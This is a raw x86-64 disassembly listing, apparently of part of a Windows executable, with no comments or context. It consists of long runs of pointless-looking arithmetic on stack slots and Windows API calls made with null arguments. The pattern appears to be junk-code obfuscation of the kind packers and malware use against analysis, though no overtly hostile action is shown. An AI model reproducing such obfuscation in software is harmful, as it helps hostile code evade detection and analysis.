mov eax, dword [rsp + 0x7f54]
mov ecx, dword [rsp + 0x7f4c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fb8], eax
mov rax, qword [rsp + 0x10210]
mov rcx, qword [rsp + 0x101d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7d50], eax
movzx eax, byte [rsp + 0xc0]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x2ff], al
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2910]
sub eax, ecx
mov word [rsp + 0x28f8], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x10338], rax
movzx eax, word [rsp + 0x290c]
mov word [rsp + 0x2914], ax
mov rax, qword [rsp + 0x10218]
mov rcx, qword [rsp + 0xdac0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd2f0], rax
mov rax, qword [rsp + 0xd638]
mov rcx, qword [rsp + 0xcf70]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x102a0], rax
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f28]
sub eax, ecx
mov word [rsp + 0x2708], ax
mov rax, qword [rsp + 0x102d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x101c8]
add rcx, rax
mov rax, rcx
mov qword [0x1402113a0], rax
mov eax, dword [rsp + 0x7f8c]
movzx ecx, al
mov eax, dword [0x140211394]
shr eax, cl
mov dword [rsp + 0x7f54], eax
movsx eax, byte [rsp + 0x56e]
movsx ecx, byte [rsp + 0x572]
shl eax, cl
mov byte [rsp + 0x1c3], al
mov rax, qword [rsp + 0x10210]
mov eax, dword [rax]
mov ecx, dword [0x140211398]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fcc], eax
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2904]
or eax, ecx
mov word [rsp + 0x1b14], ax
mov rax, qword [rsp + 0x102f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x571], al
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x290c]
add eax, ecx
mov word [rsp + 0x2914], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
movzx eax, byte [rsp + 0x56d]
mov rcx, qword [0x140221d98]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x18b], al
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x28e4]
sub eax, ecx
mov word [rsp + 0x2910], ax
mov rax, qword [rsp + 0x102d8]
mov rcx, qword [rsp + 0xda48]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1402113a0], rax
mov eax, dword [rsp + 0x8044]
sub eax, 0xdf
mov dword [rsp + 0x8044], eax
mov eax, dword [rsp + 0x7f8c]
mov ecx, dword [rsp + 0x7fb8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f54], eax
movzx ecx, word [rsp + 0x28e8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x28f4], ax
mov eax, dword [rsp + 0x787c]
mov ecx, dword [0x140211398]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fa8], eax
movzx eax, word [rsp + 0x28fc]
movzx ecx, word [rsp + 0x1f28]
sub eax, ecx
mov word [rsp + 0x290c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x28dc]
add eax, ecx
mov word [rsp + 0x2910], ax
cmp dword [rsp + 0x8044], 0xd5f6
ja 0x14001a0b2
movzx eax, byte [rsp + 0x570]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x56d], al
mov rax, qword [rsp + 0xd638]
mov qword [rsp + 0x10340], rax
cmp qword [rsp + 0x10340], 0
je 0x14001a33e
movabs rax, 0x7a351afabfe0db
cmp qword [rsp + 0x10340], rax
je 0x14001a411
jmp 0x14001a480
mov rax, qword [rsp + 0x102a0]
mov qword [rsp + 0x10348], rax
movzx eax, word [rsp + 0x290c]
mov dword [rsp + 0x804c], eax
cmp dword [rsp + 0x804c], 0
je 0x14001a369
jmp 0x14001a3dd
mov rax, qword [rsp + 0xdac0]
movzx ecx, al
mov rax, qword [rsp + 0xcf70]
sar rax, cl
mov qword [rsp + 0xd518], rax
lea rdx, [rsp + 0x10350]
mov rcx, qword [rsp + 0x10318]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x8010], eax
lea rax, [rsp + 0x102a0]
mov qword [rsp + 0x10358], rax
mov eax, dword [rsp + 0x7f70]
mov dword [0x140221d88], eax
movsx eax, word [rsp + 0x2908]
movsx ecx, word [rsp + 0x2904]
or eax, ecx
mov word [rsp + 0x1d1c], ax
jmp 0x14001a40f
mov dword [rsp + 0x20], 0x75
lea r9, [rsp + 0x2904]
mov r8d, 0x89
lea rdx, [rsp + 0x7f88]
mov rcx, qword [rsp + 0x10360]
call sub.WINSPOOL.DRV_FlushPrinter
mov dword [rsp + 0x7fb4], eax
jmp 0x14001a480
mov rax, qword [rsp + 0x102d8]
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
movzx r9d, byte [rsp + 0x18b]
movzx r8d, byte [rsp + 0x1c3]
mov rax, qword [rsp + 0x102d8]
mov rdx, qword [rax]
mov ecx, dword [rsp + 0x7f54]
call fcn.1401f4f00
movsx eax, byte [rsp + 0x56e]
movsx ecx, byte [rsp + 0x1c3]
shl eax, cl
mov byte [rsp + 0x56c], al
mov rax, qword [rsp + 0x10210]
mov rcx, qword [rsp + 0x101d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7d50], eax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7f54]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7fb8], eax
mov rax, qword [rsp + 0x102d8]
mov rcx, qword [rsp + 0xda48]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x10228], rax
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1f28], ax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x102f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x571], al
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2914], ax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7f4c]
mov eax, dword [rax]
add eax, ecx
mov dword [0x140221d8c], eax
mov eax, dword [rsp + 0x7f64]
sub eax, 0x4d
mov dword [rsp + 0x7f64], eax
movzx eax, byte [rsp + 0xc0]
movzx ecx, byte [rsp + 0x56f]
and eax, ecx
mov byte [rsp + 0x570], al
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7f54]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7f4c], eax
mov rax, qword [rsp + 0x102d8]
mov rcx, qword [rsp + 0x101c8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xda48], rax
mov rcx, qword [rsp + 0x101f8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rcx, qword [rsp + 0x10230]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x7f94], eax
mov rax, qword [rsp + 0x101d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7fcc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x787c], eax
mov rax, qword [rsp + 0xd2f0]
mov rcx, qword [rsp + 0x10348]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd638], rax
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2900]
shl eax, cl
mov word [rsp + 0x28dc], ax
mov rax, qword [rsp + 0x102f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc0]
xor eax, ecx
mov byte [rsp + 0x571], al
movzx eax, word [rsp + 0x2708]
movzx ecx, word [rsp + 0x28d8]
sar eax, cl
mov word [rsp + 0x28f0], ax
movsx eax, byte [rsp + 0x56c]
movsx ecx, byte [rsp + 0x56e]
and eax, ecx
mov byte [0x140211039], al
movzx ecx, word [rsp + 0x28e8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x28e0], ax
mov rax, qword [rsp + 0x10358]
mov rcx, qword [rsp + 0xd2f0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd518], rax
mov eax, dword [rsp + 0x787c]
mov ecx, dword [rsp + 0x7f70]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8040], eax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7fb8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7f4c], eax
mov rax, qword [rsp + 0x102d8]
mov rcx, qword [rsp + 0x10228]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x101c8], rax
movzx eax, byte [0x140221da0]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xc0], al
mov rcx, qword [rsp + 0x101f8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x7fc0], eax
movzx eax, word [rsp + 0x290c]
movzx ecx, word [rsp + 0x28f0]
sub eax, ecx
mov word [rsp + 0x2708], ax
movsx eax, word [rsp + 0x28f8]
mov rcx, qword [rsp + 0x10258]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2910], ax
mov rax, qword [rsp + 0x10358]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdac0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd2f0], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
mov rax, qword [rsp + 0x10218]
mov rcx, qword [rsp + 0x10358]
mov qword [rsp + 0x10368], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10368]
mov rax, qword [rax]
sar rax, cl
mov qword [0x140221d90], rax
mov rax, qword [0x140221d98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x571], al
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7f4c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x7f8c], eax
movzx ecx, word [rsp + 0x28e8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2918], ax
mov rax, qword [rsp + 0x102d8]
mov rcx, qword [rsp + 0x10228]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xda48], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov eax, dword [rsp + 0x7d50]
mov ecx, dword [rsp + 0x7fa8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8040], eax
movzx eax, word [0x14021139c]
movzx ecx, word [rsp + 0x1f28]
and eax, ecx
mov rcx, qword [rsp + 0x101f0]
mov word [rcx], ax
movsx eax, word [rsp + 0x28f8]
mov rcx, qword [rsp + 0x10258]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2900], ax
mov rax, qword [rsp + 0x10358]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcf70]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x102a0], rax
movsx eax, byte [rsp + 0x1c3]
movsx ecx, byte [rsp + 0x56e]
sub eax, ecx
mov byte [rsp + 0x56c], al
mov rax, qword [rsp + 0xd518]
mov rcx, qword [rsp + 0x102a0]
add rcx, rax
mov rax, rcx
mov qword [0x140221d90], rax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x102f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xc0], al
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7f4c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7fb8], eax
mov rax, qword [rsp + 0x102d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x101c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xda48], rax
mov rax, qword [rsp + 0x10210]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7fa8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x8040], eax
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1f28], ax
movsx eax, word [rsp + 0x2904]
movsx ecx, word [rsp + 0x28f8]
shl eax, cl
mov rcx, qword [rsp + 0x10258]
mov word [rcx], ax
movzx eax, word [rsp + 0x290c]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x28fc], ax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x571]
sar eax, cl
mov byte [rsp + 0x570], al
cmp dword [rsp + 0x7f64], 0x4595
jae 0x14001a480
mov rax, qword [rsp + 0x102d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10228]
add rcx, rax
mov rax, rcx
mov qword [0x1402113a8], rax
mov rax, qword [rsp + 0x10358]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd638]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x10348], rax
mov rax, qword [rsp + 0x10358]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10310]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x101e0], rax
mov rax, qword [rsp + 0x101d0]
mov eax, dword [rax]
mov dword [rsp + 0x8050], eax
cmp dword [rsp + 0x8000], 0x5a14
je 0x14001ae98
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7fb8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7f54], eax
mov rax, qword [rsp + 0x102d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xda48]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x10228], rax
movzx eax, word [0x14021139c]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2708], ax
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x28f8]
add eax, ecx
mov rcx, qword [rsp + 0x10258]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1c3]
movsx ecx, byte [rsp + 0x56e]
sub eax, ecx
mov byte [rsp + 0x56b], al
movzx eax, byte [rsp + 0x571]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140221da0], al
mov rax, qword [rsp + 0x10358]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10218]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd638], rax
movzx eax, word [rsp + 0x28fc]
movzx ecx, word [rsp + 0x1f28]
add eax, ecx
mov word [rsp + 0x2914], ax
mov rax, qword [rsp + 0x102d8]
mov rcx, qword [rsp + 0xda48]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x10228], rax
mov rax, qword [rsp + 0x10210]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x101d0]
mov qword [rsp + 0x10370], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10370]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x7d50], eax
mov eax, dword [rsp + 0x7fb8]
mov rcx, qword [rsp + 0x10208]
mov qword [rsp + 0x10378], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10378]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x7f4c], eax
mov rax, qword [rsp + 0x102f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x102f8]
mov byte [rcx], al
movsx eax, word [rsp + 0x2900]
movsx ecx, word [rsp + 0x28f8]
and eax, ecx
mov word [rsp + 0x2908], ax
mov rax, qword [rsp + 0x10358]
mov rcx, qword [0x140221d90]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x10358]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x56d]
movzx ecx, byte [rsp + 0x56f]
sub eax, ecx
mov byte [0x140221da0], al
mov eax, dword [rsp + 0x8000]
add eax, 0x50
mov dword [rsp + 0x8000], eax
movsx eax, word [rsp + 0x1b14]
mov rcx, qword [rsp + 0x10258]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x28e4], ax
movzx eax, word [0x140211390]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2914], ax
mov rax, qword [rsp + 0x101c8]
mov rcx, qword [rsp + 0xda48]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x10228], rax
mov rax, qword [rsp + 0x10210]
mov rcx, qword [rsp + 0x101d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x10210]
mov dword [rcx], eax
mov eax, dword [rsp + 0x7f8c]
mov ecx, dword [rsp + 0x7f4c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f54], eax
movsx eax, byte [0x140211039]
movsx ecx, byte [rsp + 0x56b]
add eax, ecx
mov byte [rsp + 0x56e], al
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x18b]
or eax, ecx
mov byte [rsp + 0x2ff], al
mov rcx, qword [rsp + 0x101f8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x28fc]
sar eax, cl
mov rcx, qword [rsp + 0x10220]
mov word [rcx], ax
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x28f8]
shl eax, cl
mov rcx, qword [rsp + 0x10258]
mov word [rcx], ax
mov rax, qword [rsp + 0xd2f0]
mov rcx, qword [rsp + 0x10310]
xor rcx, rax
mov rax, rcx
mov qword [0x140221d90], rax
mov rax, qword [rsp + 0x10358]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x101e0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xd638], rax
mov rax, qword [rsp + 0x101d0]
mov rcx, qword [rsp + 0x10210]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8050], eax
mov rax, qword [rsp + 0x102d8]
mov rcx, qword [rsp + 0x101c8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x10228], rax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7f4c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7f8c], eax
movzx eax, word [rsp + 0x2708]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x28fc], ax
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x28dc]
and eax, ecx
mov word [rsp + 0x28e4], ax
movzx eax, byte [0x140221da0]
mov rcx, qword [rsp + 0x102f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2ff], al
mov rax, qword [rsp + 0x10358]
mov rcx, qword [rsp + 0x10348]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd518], rax
mov rax, qword [rsp + 0x10358]
mov rcx, qword [rsp + 0x10218]
mov rax, qword [rax]
add rax, rcx
mov qword [0x140221d90], rax
movzx eax, byte [rsp + 0x18b]
movzx ecx, byte [rsp + 0x56f]
add eax, ecx
mov byte [rsp + 0x56d], al
mov eax, dword [rsp + 0x8040]
movzx ecx, al
mov eax, dword [rsp + 0x7fcc]
shl eax, cl
mov dword [rsp + 0x8050], eax
jmp 0x14001aa34
mov rax, qword [rsp + 0x10228]
mov rcx, qword [rsp + 0x102d8]
mov qword [rsp + 0x10380], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10380]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x101c8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
movzx eax, byte [rsp + 0x1c3]
mov byte [rsp + 0x573], al
mov rax, qword [rsp + 0x10208]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7fb8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f54], eax
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2908]
or eax, ecx
mov word [rsp + 0x1b14], ax
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2694], ax
mov eax, dword [rsp + 0x7fa8]
mov dword [rsp + 0x8054], eax
cmp dword [rsp + 0x8054], 0
je 0x14001af6d
cmp dword [rsp + 0x8054], 0xac
je 0x14001af63
jmp 0x1401f45c7
call fcn.1401f4c40
jmp 0x1401f45c7
movzx eax, word [rsp + 0x2694]
movzx ecx, word [0x14021139c]
sub eax, ecx
mov word [rsp + 0x28f0], ax
mov dword [rsp + 0x8058], 0xf7c0
lea rax, [rsp + 0x18b]
mov qword [rsp + 0x10388], rax
cmp dword [rsp + 0x8038], 0xf4b2
jb 0x14001b50e
mov rax, qword [rsp + 0x10358]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd2f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd638], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x7fc4], eax
mov rax, qword [rsp + 0x10358]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcf70]
xor rcx, rax
mov rax, rcx
mov qword [0x140221d90], rax
mov rax, qword [rsp + 0x10348]
mov rcx, qword [rsp + 0x10358]
mov qword [rsp + 0x10390], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10390]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x101e0], rax
mov eax, dword [rsp + 0x8038]
sub eax, 0x3e
mov dword [rsp + 0x8038], eax
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x28dc]
or eax, ecx
mov rcx, qword [rsp + 0x10258]
mov word [rcx], ax
mov rax, qword [rsp + 0x10348]
mov rcx, qword [rsp + 0x10358]
mov qword [rsp + 0x10398], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10398]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x10358]
mov qword [rcx], rax
mov eax, dword [0x140221d88]
mov ecx, dword [rsp + 0x7fa8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x8040], eax
mov eax, dword [rsp + 0x7f8c]
mov ecx, dword [rsp + 0x7fb8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f4c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
mov rax, qword [0x1402113a8]
mov rcx, qword [rsp + 0xda48]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x101c8], rax
movzx eax, byte [rsp + 0x571]
movzx ecx, byte [rsp + 0x2ff]
sub eax, ecx
mov byte [rsp + 0x56f], al
movzx eax, word [rsp + 0x2914]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x290c], ax
mov eax, dword [rsp + 0x787c]
mov ecx, dword [0x140211398]
add ecx, eax
mov eax, ecx
mov dword [0x140221d88], eax
lea rcx, [rsp + 0x24fa8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rcx, qword [rsp + 0x101f8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x7fc0], eax
movzx eax, word [rsp + 0x28f0]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2694], ax
movzx eax, byte [rsp + 0x2ff]
movzx ecx, byte [0x140221da0]
and eax, ecx
mov byte [rsp + 0x56d], al
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7f54]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7f8c], eax
mov rax, qword [rsp + 0x102d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x101c8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x10228], rax
mov rax, qword [rsp + 0x101d0]
mov rcx, qword [rsp + 0x10210]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7f70], eax
mov rax, qword [0x140221d90]
movzx ecx, al
mov rax, qword [rsp + 0x102a0]
shl rax, cl
mov rcx, qword [rsp + 0x10358]
mov qword [rcx], rax
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x28d8]
sar eax, cl
mov rcx, qword [rsp + 0x101f0]
mov word [rcx], ax
movsx eax, word [rsp + 0x28f8]
movsx ecx, word [rsp + 0x2900]
sub eax, ecx
mov word [rsp + 0x1d1c], ax
mov rax, qword [rsp + 0x102f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2ff]
and eax, ecx
mov byte [0x140221da0], al
movzx eax, word [rsp + 0x28f0]
movzx ecx, word [rsp + 0x28fc]
sub eax, ecx
mov rcx, qword [rsp + 0x10220]
mov word [rcx], ax
mov rax, qword [rsp + 0x10358]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x101e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd518], rax
mov rax, qword [rsp + 0x10208]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7f54]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fb8], eax
mov rax, qword [rsp + 0x102d8]
mov rcx, qword [0x1402113a0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xda48], rax
mov rax, qword [rsp + 0x10210]
mov ecx, dword [rsp + 0x7f70]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x101d0]
mov dword [rcx], eax
lea rdx, [rsp + 0x10238]
mov rcx, qword [rsp + 0x10230]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x8010], eax
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d1c]
sub eax, ecx
mov word [rsp + 0x28e4], ax
mov rax, qword [rsp + 0x10388]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x102f8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x570], al
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x28f0], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x7cae
mov rcx, qword [rsp + 0x10230]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x805c], eax
mov rax, qword [rsp + 0x101e0]
mov rcx, qword [rsp + 0xd2f0]
or rcx, rax
mov rax, rcx
mov qword [0x140221d90], rax
mov rax, qword [rsp + 0x10358]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x101e0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf70], rax
movzx eax, byte [rsp + 0x56f]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xc0], al
mov rax, qword [rsp + 0xda48]
mov rcx, qword [rsp + 0x102d8]
mov qword [rsp + 0x103a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x103a0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x101c8], rax
mov rax, qword [rsp + 0x101d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7f70]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8050], eax
mov rax, qword [rsp + 0x10208]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7f54]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f4c], eax
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2910]
and eax, ecx
mov word [rsp + 0x2900], ax
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f28]
add eax, ecx
mov word [rsp + 0x28d8], ax
mov rax, qword [rsp + 0x10358]
mov rcx, qword [rsp + 0x10348]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x10310], rax
movsx eax, byte [rsp + 0x56c]
movsx ecx, byte [rsp + 0x572]
sub eax, ecx
mov byte [0x140211038], al
movsx eax, word [rsp + 0x2900]
movsx ecx, word [rsp + 0x2904]
sub eax, ecx
mov word [rsp + 0x1d1c], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
